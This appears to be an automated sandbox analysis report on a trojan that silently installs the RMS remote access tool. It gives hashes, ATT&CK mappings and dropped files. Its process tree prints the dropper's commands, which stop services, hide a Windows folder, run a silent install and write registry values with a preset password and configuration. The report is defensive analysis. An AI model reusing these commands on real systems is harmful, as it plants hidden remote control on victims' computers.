rms | fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220

Analysis

max time kernel
152s
max time network
211s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
26-11-2022 17:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220.exe
Size

3.4MB
MD5

474ce1d3f2e93c061262a0a647d90103
SHA1

805c410a9535795889225d7be3c682717ef42c22
SHA256

fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220
SHA512

ff752509dfd449e9c93ae4fb095f3de7f38c10ab67f253d75b8f89715f1234810612baeaaa4b2991772f2cd8b39041852d116a286d5f306816f186a20216a27e
SSDEEP

98304:hwwviscLk1E6jnlvyqHaz5i0bqXWmS2u7PI7:hGscLkqMlvyq6oXUr7

Score

10^/10

rms evasion rat trojan upx

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms
Executes dropped EXE 7 IoCs

Processes:

rutserv.exerutserv.exerutserv.exerutserv.exerfusclient.exerfusclient.exerfusclient.exe

pid process

700 rutserv.exe
904 rutserv.exe
1716 rutserv.exe
1392 rutserv.exe
1700 rfusclient.exe
572 rfusclient.exe
1300 rfusclient.exe
Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

1944 attrib.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

pid	process
1944	attrib.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/1748-55-0x0000000000400000-0x000000000078A000-memory.dmp	upx

Loads dropped DLL 2 IoCs

Processes:

cmd.exerutserv.exe

pid process

956 cmd.exe
1392 rutserv.exe

pid	process
956	cmd.exe
1392	rutserv.exe

Drops file in Windows directory 17 IoCs

Processes:

cmd.exeattrib.exe

description	ioc	process
File created	C:\Windows\spom\15971.bat	cmd.exe
File opened for modification	C:\Windows\spom\rfusclient.exe	cmd.exe
File created	C:\Windows\spom\rutserv.exe	cmd.exe
File opened for modification	C:\Windows\spom\15971.bat	cmd.exe
File opened for modification	C:\Windows\spom\vp8decoder.dll	cmd.exe
File created	C:\Windows\spom\vp8encoder.dll	cmd.exe
File opened for modification	C:\Windows\spom\webmvorbisdecoder.dll	cmd.exe
File created	C:\Windows\spom\webmvorbisencoder.dll	cmd.exe
File opened for modification	C:\Windows\spom	attrib.exe
File created	C:\Windows\spom\rfusclient.exe	cmd.exe
File opened for modification	C:\Windows\spom\rutserv.exe	cmd.exe
File created	C:\Windows\spom\vp8decoder.dll	cmd.exe
File created	C:\Windows\spom\webmmux.dll	cmd.exe
File opened for modification	C:\Windows\spom\webmmux.dll	cmd.exe
File opened for modification	C:\Windows\spom\vp8encoder.dll	cmd.exe
File created	C:\Windows\spom\webmvorbisdecoder.dll	cmd.exe
File opened for modification	C:\Windows\spom\webmvorbisencoder.dll	cmd.exe

Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exe

pid process

764 sc.exe
1116 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Runs net.exe

pid	process
764	sc.exe
1116	sc.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

rutserv.exerutserv.exerutserv.exerutserv.exerfusclient.exe

pid	process
700	rutserv.exe
700	rutserv.exe
700	rutserv.exe
700	rutserv.exe
904	rutserv.exe
904	rutserv.exe
1716	rutserv.exe
1716	rutserv.exe
1392	rutserv.exe
1392	rutserv.exe
1392	rutserv.exe
1392	rutserv.exe
1700	rfusclient.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

Processes:

rfusclient.exe

pid process

1300 rfusclient.exe

pid	process
1300	rfusclient.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rutserv.exerutserv.exerutserv.exe

description	pid	process
Token: SeDebugPrivilege	700	rutserv.exe
Token: SeDebugPrivilege	1716	rutserv.exe
Token: SeTakeOwnershipPrivilege	1392	rutserv.exe
Token: SeTcbPrivilege	1392	rutserv.exe
Token: SeTcbPrivilege	1392	rutserv.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

rutserv.exerutserv.exerutserv.exerutserv.exe

pid process

700 rutserv.exe
904 rutserv.exe
1716 rutserv.exe
1392 rutserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220.execmd.exenet.exenet.exe

description	pid	process	target process
PID 1748 wrote to memory of 956	1748	fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220.exe	cmd.exe
PID 1748 wrote to memory of 956	1748	fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220.exe	cmd.exe
PID 1748 wrote to memory of 956	1748	fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220.exe	cmd.exe
PID 1748 wrote to memory of 956	1748	fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220.exe	cmd.exe
PID 956 wrote to memory of 1788	956	cmd.exe	net.exe
PID 956 wrote to memory of 1788	956	cmd.exe	net.exe
PID 956 wrote to memory of 1788	956	cmd.exe	net.exe
PID 956 wrote to memory of 1788	956	cmd.exe	net.exe
PID 1788 wrote to memory of 364	1788	net.exe	net1.exe
PID 1788 wrote to memory of 364	1788	net.exe	net1.exe
PID 1788 wrote to memory of 364	1788	net.exe	net1.exe
PID 1788 wrote to memory of 364	1788	net.exe	net1.exe
PID 956 wrote to memory of 572	956	cmd.exe	net.exe
PID 956 wrote to memory of 572	956	cmd.exe	net.exe
PID 956 wrote to memory of 572	956	cmd.exe	net.exe
PID 956 wrote to memory of 572	956	cmd.exe	net.exe
PID 572 wrote to memory of 436	572	net.exe	net1.exe
PID 572 wrote to memory of 436	572	net.exe	net1.exe
PID 572 wrote to memory of 436	572	net.exe	net1.exe
PID 572 wrote to memory of 436	572	net.exe	net1.exe
PID 956 wrote to memory of 764	956	cmd.exe	sc.exe
PID 956 wrote to memory of 764	956	cmd.exe	sc.exe
PID 956 wrote to memory of 764	956	cmd.exe	sc.exe
PID 956 wrote to memory of 764	956	cmd.exe	sc.exe
PID 956 wrote to memory of 1116	956	cmd.exe	sc.exe
PID 956 wrote to memory of 1116	956	cmd.exe	sc.exe
PID 956 wrote to memory of 1116	956	cmd.exe	sc.exe
PID 956 wrote to memory of 1116	956	cmd.exe	sc.exe
PID 956 wrote to memory of 340	956	cmd.exe	reg.exe
PID 956 wrote to memory of 340	956	cmd.exe	reg.exe
PID 956 wrote to memory of 340	956	cmd.exe	reg.exe
PID 956 wrote to memory of 340	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1944	956	cmd.exe	attrib.exe
PID 956 wrote to memory of 1944	956	cmd.exe	attrib.exe
PID 956 wrote to memory of 1944	956	cmd.exe	attrib.exe
PID 956 wrote to memory of 1944	956	cmd.exe	attrib.exe
PID 956 wrote to memory of 700	956	cmd.exe	rutserv.exe
PID 956 wrote to memory of 700	956	cmd.exe	rutserv.exe
PID 956 wrote to memory of 700	956	cmd.exe	rutserv.exe
PID 956 wrote to memory of 700	956	cmd.exe	rutserv.exe
PID 956 wrote to memory of 904	956	cmd.exe	rutserv.exe
PID 956 wrote to memory of 904	956	cmd.exe	rutserv.exe
PID 956 wrote to memory of 904	956	cmd.exe	rutserv.exe
PID 956 wrote to memory of 904	956	cmd.exe	rutserv.exe
PID 956 wrote to memory of 1524	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1524	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1524	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1524	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1732	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1732	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1732	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1732	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1332	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1332	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1332	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1332	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1988	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1988	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1988	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1988	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1112	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1112	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1112	956	cmd.exe	reg.exe
PID 956 wrote to memory of 1112	956	cmd.exe	reg.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

1944 attrib.exe

pid	process
1944	attrib.exe

C:\Users\Admin\AppData\Local\Temp\fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220.exe
"C:\Users\Admin\AppData\Local\Temp\fb5b2c339496d3c8ba00f1cec7ec98e0f78c07d69f77356de580063faf05a220.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1748

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\E254.tmp\15971.bat" "
2⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:956

C:\Windows\SysWOW64\net.exe
net stop netaservice
3⤵
- Suspicious use of WriteProcessMemory
PID:1788

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop netaservice
4⤵
PID:364

C:\Windows\SysWOW64\net.exe
net stop rmanservice
3⤵
- Suspicious use of WriteProcessMemory
PID:572

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop rmanservice
4⤵
PID:436

C:\Windows\SysWOW64\sc.exe
sc delete netaservice
3⤵
- Launches sc.exe
PID:764

C:\Windows\SysWOW64\sc.exe
sc delete rmanservice
3⤵
- Launches sc.exe
PID:1116

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
3⤵
PID:340

C:\Windows\SysWOW64\attrib.exe
attrib +s +h "C:\Windows\spom"
3⤵
- Sets file to hidden
- Drops file in Windows directory
- Views/modifies file attributes
PID:1944

C:\Windows\spom\rutserv.exe
"rutserv.exe" /silentinstall
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:700

C:\Windows\spom\rutserv.exe
"rutserv.exe" /firewall
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:904

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "notification" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d003100360022003f003e000d000a003c0072006d0073005f0069006e00650074005f00690064005f006e006f00740069006600690063006100740069006f006e002000760065007200730069006f006e003d0022003500360030003000360022003e003c007500730065003e0074007200750065003c002f007500730065003e003c0065006d00610069006c003e00670061006d0061007a006f0076002e00670061006d0061007a0040006d00610069006c002e00720075003c002f0065006d00610069006c003e003c00690064003e007b00410041004100380039004400440044002d0031004300340036002d0034003000390041002d0041003500420035002d003300380032004300370032003200440041003400340046007d003c002f00690064003e003c00670065006e00650072006100740065005f006e00650077005f00700061007300730077006f00720064003e0074007200750065003c002f00670065006e00650072006100740065005f006e00650077005f00700061007300730077006f00720064003e003c00610073006b005f006900640065006e00740069006600690063006100740069006f006e003e00660061006c00730065003c002f00610073006b005f006900640065006e00740069006600690063006100740069006f006e003e003c00730065006e0074003e00660061006c00730065003c002f00730065006e0074003e003c00760065007200730069006f006e003e00350036003000300036003c002f00760065007200730069006f006e003e003c007000750062006c00690063005f006b00650079005f006d003e003c002f007000750062006c00690063005f006b00650079005f006d003e003c007000750062006c00690063005f006b00650079005f0065003e003c002f007000750062006c00690063005f006b00650079005f0065003e003c00700061007300730077006f00720064003e003c002f00700061007300730077006f00720064003e003c0069006e007400650072006e00650074005f00690064003e003c002f0069006e007400650072006e00650074005f00690064003e003c0064006900730063006c00610069006d00650072003e003c002f0064006900730063006c00610069006d00650072003e003c002f0072006d0073005f0069006e00650074005f00690064005f006e006f00740069006600690063006100740069006f006e003e000d000a00
3⤵
PID:1524

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "UserAccess" /t REG_BINARY /d
3⤵
PID:1732

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "Password" /t REG_BINARY /d 38003900440043004100460043003500460042003900450044004200380041003800370030003400350033003600390033003300350037003700340030003800440031003700410036003500390036003400390033003800460033004100340035003400380036003200370030003100310037004600420036003300390041003700350043004300310039004400360046003400380030003000460030003700320037003900370036004200370030004300420041003800340037003700390034003900300034003600450033003400360034003600350030004300430045004100410045003800390046004100430030003500390037004600390032003400
3⤵
PID:1332

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "InternetId" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d00310036004c00450022003f003e000d000a003c0072006d0073005f0069006e007400650072006e00650074005f00690064005f00730065007400740069006e00670073002000760065007200730069006f006e003d0022003600300030003000340022003e003c0069006e007400650072006e00650074005f00690064003e003c002f0069006e007400650072006e00650074005f00690064003e003c007500730065005f0069006e00650074005f0063006f006e006e0065006300740069006f006e003e00660061006c00730065003c002f007500730065005f0069006e00650074005f0063006f006e006e0065006300740069006f006e003e003c0069006e00650074005f007300650072007600650072003e003c002f0069006e00650074005f007300650072007600650072003e003c007500730065005f0063007500730074006f006d005f0069006e00650074005f007300650072007600650072003e00660061006c00730065003c002f007500730065005f0063007500730074006f006d005f0069006e00650074005f007300650072007600650072003e003c0069006e00650074005f00690064005f0070006f00720074003e0035003600350035003c002f0069006e00650074005f00690064005f0070006f00720074003e003c007500730065005f0069006e00650074005f00690064005f0069007000760036003e00660061006c00730065003c002f007500730065005f0069006e00650074005f00690064005f0069007000760036003e003c002f0072006d0073005f0069006e007400650072006e00650074005f00690064005f00730065007400740069006e00670073003e000d000a00
3⤵
PID:1988

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "Options" /t REG_BINARY /d 545046301154524f4d5365727665724f7074696f6e7300095573654e5441757468080d53656375726974794c6576656c020304506f727403121614456e61626c654f7665726c617943617074757265080c53686f775472617949636f6e080642696e644950060d416e7920696e746572666163651343616c6c6261636b4175746f436f6e6e656374091743616c6c6261636b436f6e6e656374496e74657276616c023c084869646553746f70080c497046696c746572547970650202105573654c656761637943617074757265081750726f7465637443616c6c6261636b53657474696e6773081550726f74656374496e6574496453657474696e6773080f446f4e6f7443617074757265524450080755736549507636091141736b557365725065726d697373696f6e0816557365725065726d697373696f6e496e74657276616c031027134175746f416c6c6f775065726d697373696f6e08134e656564417574686f72697479536572766572081f41736b5065726d697373696f6e4f6e6c794966557365724c6f676765644f6e0811557365496e6574436f6e6e656374696f6e0813557365437573746f6d496e6574536572766572080a496e65744964506f727402000d557365496e6574496449507636081444697361626c6552656d6f7465436f6e74726f6c081344697361626c6552656d6f746553637265656e081344697361626c6546696c655472616e73666572080f44697361626c655265646972656374080d44697361626c6554656c6e6574081444697361626c6552656d6f746545786563757465081244697361626c655461736b4d616e61676572080e44697361626c654f7665726c6179080f44697361626c6553687574646f776e081444697361626c6552656d6f746555706772616465081544697361626c655072657669657743617074757265081444697361626c654465766963654d616e61676572080b44697361626c6543686174081344697361626c6553637265656e5265636f7264081044697361626c65415643617074757265081244697361626c6553656e644d657373616765080f44697361626c655265676973747279080d44697361626c65415643686174081544697361626c6552656d6f746553657474696e6773081544697361626c6552656d6f74655072696e74696e67080a44697361626c65526470080f4e6f7469667953686f7750616e656c08144e6f746966794368616e67655472617949636f6e08104e6f7469667942616c6c6f6e48696e74080f4e6f74696679506c6179536f756e64080c4e6f7469667950616e656c5802ff0c4e6f7469667950616e656c5902ff064c6f6755736508055369644964061034323030392e37343435313730303233084c6963656e73657306ae524d532d462d62366665664645334436363231346539363944333744396163653235423032366269593253326459586c52664477776e4932314758554a4544683945586d78785030594756304a5856513066506a6c74446c46564467594841514271664738645556554f446c5246446d42346667494e4841494341514a76594878704141734c4141734d486c516d63323952566b554f41677765557a773562513458576c564c623168654e434a740d50726f787953657474696e67731428010000efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d31364c45223f3e0d0a3c70726f78795f73657474696e67732076657273696f6e3d223630303034223e3c7573655f70726f78793e66616c73653c2f7573655f70726f78793e3c70726f78795f747970653e303c2f70726f78795f747970653e3c686f73743e3c2f686f73743e3c706f72743e383038303c2f706f72743e3c6e6565645f617574683e66616c73653c2f6e6565645f617574683e3c6e746d6c5f617574683e66616c73653c2f6e746d6c5f617574683e3c757365726e616d653e3c2f757365726e616d653e3c70617373776f72643e3c2f70617373776f72643e3c646f6d61696e3e3c2f646f6d61696e3e3c2f70726f78795f73657474696e67733e0d0a1144697361626c65496e7465726e65744964080b536166654d6f6465536574080000
3⤵
PID:1112

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "FUSClientPath" /t REG_SZ /d "C:\Program Files\Remote Manipulator System - Host\rfusclient.exe"
3⤵
PID:1656

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /f /v "CalendarRecordSettings" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d003100360022003f003e000d000a003c0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e002000760065007200730069006f006e003d0022003600300030003000340022003e003c006d00610069006e005f006f007000740069006f006e0073003e003c006100630074006900760065003e00660061006c00730065003c002f006100630074006900760065003e003c0069006e00740065007200760061006c005f00730068006f0074003e00360030003c002f0069006e00740065007200760061006c005f00730068006f0074003e003c00700072006f0074006500630074005f007200650063006f00720064003e00660061006c00730065003c002f00700072006f0074006500630074005f007200650063006f00720064003e003c0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e00390030003c002f0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e003c007300630061006c0065005f007100750061006c006900740079003e003100300030003c002f007300630061006c0065005f007100750061006c006900740079003e003c0063006f006d007000720065007300730069006f006e005f0074007900700065003e0030003c002f0063006f006d007000720065007300730069006f006e005f0074007900700065003e003c006d00610078005f00660069006c0065005f00730069007a0065003e003100300030003c002f006d00610078005f00660069006c0065005f00730069007a0065003e003c006100750074006f005f0063006c006500610072003e00660061006c00730065003c002f006100750074006f005f0063006c006500610072003e003c006100750074006f005f0063006c006500610072005f0064006100790073003e0030003c002f006100750074006f005f0063006c006500610072005f0064006100790073003e003c0075007300650064005f00660069006c0065005f006c0069006d00690074003e0074007200750065003c002f0075007300650064005f00660069006c0065005f006c0069006d00690074003e003c0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e0031003000300030003c002f0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e003c0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e0074007200750065003c002f0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e003c002f006d00610069006e005f006f007000740069006f006e0073003e003c007300630068006500640075006c00650073002f003e003c002f0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e003e000d000a00
3⤵
PID:668

C:\Windows\spom\rutserv.exe
"rutserv.exe" /start
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1716

C:\Windows\spom\rutserv.exe
C:\Windows\spom\rutserv.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1392

C:\Windows\spom\rfusclient.exe
C:\Windows\spom\rfusclient.exe
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1700

C:\Windows\spom\rfusclient.exe
C:\Windows\spom\rfusclient.exe /tray
3⤵
- Executes dropped EXE
- Suspicious behavior: SetClipboardViewer
PID:1300

C:\Windows\spom\rfusclient.exe
C:\Windows\spom\rfusclient.exe /tray
2⤵
- Executes dropped EXE
PID:572

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Impair Defenses

T1562

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\E254.tmp\15971.bat
Filesize
10KB

MD5
270a2651df6d0e01df0a6b45a451eb1f

SHA1
b437c389f5c7c66c9b24e6912647916407508214

SHA256
afcf65738a3bd347e40b77242b48070ed371ddb9226be1f132eb82d18ce72d96

SHA512
66dcaf288eb9d39958978cf16c0236d3fd6bda5ae4bd7aee7993160668bb8605a32f6547ba7e6d100f9c4f25bedd39ee8ce3be73f364eac5961e2273b0e45418

Download Submit
C:\Users\Admin\AppData\Local\Temp\E254.tmp\rfusclient.exe
Filesize
1.3MB

MD5
314f4d76a82e024a1c0facb46f0dbc0a

SHA1
c8437c555755302a47229cdc18b58d0ee961d00f

SHA256
9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67

SHA512
b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\E254.tmp\rutserv.exe
Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
C:\Users\Admin\AppData\Local\Temp\E254.tmp\vp8decoder.dll
Filesize
127KB

MD5
bda3c03c3e5d65922a311009e0ae8cd6

SHA1
37093c457ac5f01649b4d23a3d075a531af08baa

SHA256
30dc5a63a43a00fb3bcacb696656dc302b9c090cf9c05df0f10123703ca07290

SHA512
eab8356896f05952e1bdfca467e998b23e5a9a5e5245f13d201f9b87b7a450be628c3513a8a4c40fa50ffaa8491c4508f1215c57ac608dd3e5e67290a5bedc0b

Download Submit
C:\Users\Admin\AppData\Local\Temp\E254.tmp\vp8encoder.dll
Filesize
238KB

MD5
200cba4b9cbdd64f1a281b89cd1467f3

SHA1
fc3ccf8d57efcdc0d22b61ff6e49798d551a9118

SHA256
c8529cff46283d4f7050c9f4ba42a6aad6ff580a22fc8f72bbedb17e63d4091e

SHA512
15a213790da6ddedc25369216ae725dccd16473599a8d5fd8b90f80aaa4fd20496f80e85a4ee5eae6a330930207cefc644ab704f7a6514bbf781151a38be38e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\E254.tmp\webmmux.dll
Filesize
90KB

MD5
aa78ed008f72533c7136bf6d4bddb0d0

SHA1
2e9abd74e615adc99f561cbdbe6067dfd81a406a

SHA256
41e551ecb07620b4cace94a89bbcff6597df85a571ace50a7df929c9a94f1d11

SHA512
e9f49bc94909c46ae6dad9368e13cc758ff801c39ea8a459483bd17a8a40664b68c91d8602da588a84a39de9256e0accafb23a7667fb57640a55280ee61f4021

Download Submit
C:\Users\Admin\AppData\Local\Temp\E254.tmp\webmvorbisdecoder.dll
Filesize
141KB

MD5
0867a260483876336a727cf9f2928b13

SHA1
3c8c59bfba6ed2aeef35c0d1fc4689683df1e660

SHA256
cbc192c03b91280eb4561386290e3b346147d5b1362224d1deff781ff89be207

SHA512
b1d2518adb513c42ed877f1ee77d227d6d3600fc27b4d747f31b75cbfb85c53802cbf9b1fe0e1d09353ea4c29b6a49d5e7b7967b3fd8d15974d822649ca7a83f

Download Submit
C:\Users\Admin\AppData\Local\Temp\E254.tmp\webmvorbisencoder.dll
Filesize
202KB

MD5
43adc4acd56c56b0a25664954c7aa80c

SHA1
d9085625b4a39b3969db8047ad3224b3fc9f60fc

SHA256
0e33c9f15b53de632108ef6f7275cd4d980df86a408f330c57f717b7d5fa3918

SHA512
346dd9da1fe6be5219cb10cbe54c60a1661c5c06a21f3cf864a3f32121a90d29ea1bbcef33d2766811f3ef3242456c2c9606326c26d8b660fa26ff4ae8b24515

Download Submit
C:\Windows\spom\rfusclient.exe
Filesize
1.3MB

MD5
314f4d76a82e024a1c0facb46f0dbc0a

SHA1
c8437c555755302a47229cdc18b58d0ee961d00f

SHA256
9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67

SHA512
b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9

Download Submit
C:\Windows\spom\rfusclient.exe
Filesize
1.3MB

MD5
314f4d76a82e024a1c0facb46f0dbc0a

SHA1
c8437c555755302a47229cdc18b58d0ee961d00f

SHA256
9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67

SHA512
b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9

Download Submit
C:\Windows\spom\rfusclient.exe
Filesize
1.3MB

MD5
314f4d76a82e024a1c0facb46f0dbc0a

SHA1
c8437c555755302a47229cdc18b58d0ee961d00f

SHA256
9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67

SHA512
b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9

Download Submit
C:\Windows\spom\rfusclient.exe
Filesize
1.3MB

MD5
314f4d76a82e024a1c0facb46f0dbc0a

SHA1
c8437c555755302a47229cdc18b58d0ee961d00f

SHA256
9c41fabd1d00f7330f7d61cc242022da6d51c29ee63b2bfab6868f04fd9eab67

SHA512
b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9

Download Submit
C:\Windows\spom\rutserv.exe
Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
C:\Windows\spom\rutserv.exe
Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
C:\Windows\spom\rutserv.exe
Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
C:\Windows\spom\rutserv.exe
Filesize
1.4MB

MD5
a329f920e01574d2c58eb0626abef7bd

SHA1
2500ca31396264cf0a9492d879e493a9438404b9

SHA256
76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2

SHA512
dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32

Download Submit
C:\Windows\spom\vp8decoder.dll
Filesize
127KB

MD5
bda3c03c3e5d65922a311009e0ae8cd6

SHA1
37093c457ac5f01649b4d23a3d075a531af08baa

SHA256
30dc5a63a43a00fb3bcacb696656dc302b9c090cf9c05df0f10123703ca07290

SHA512
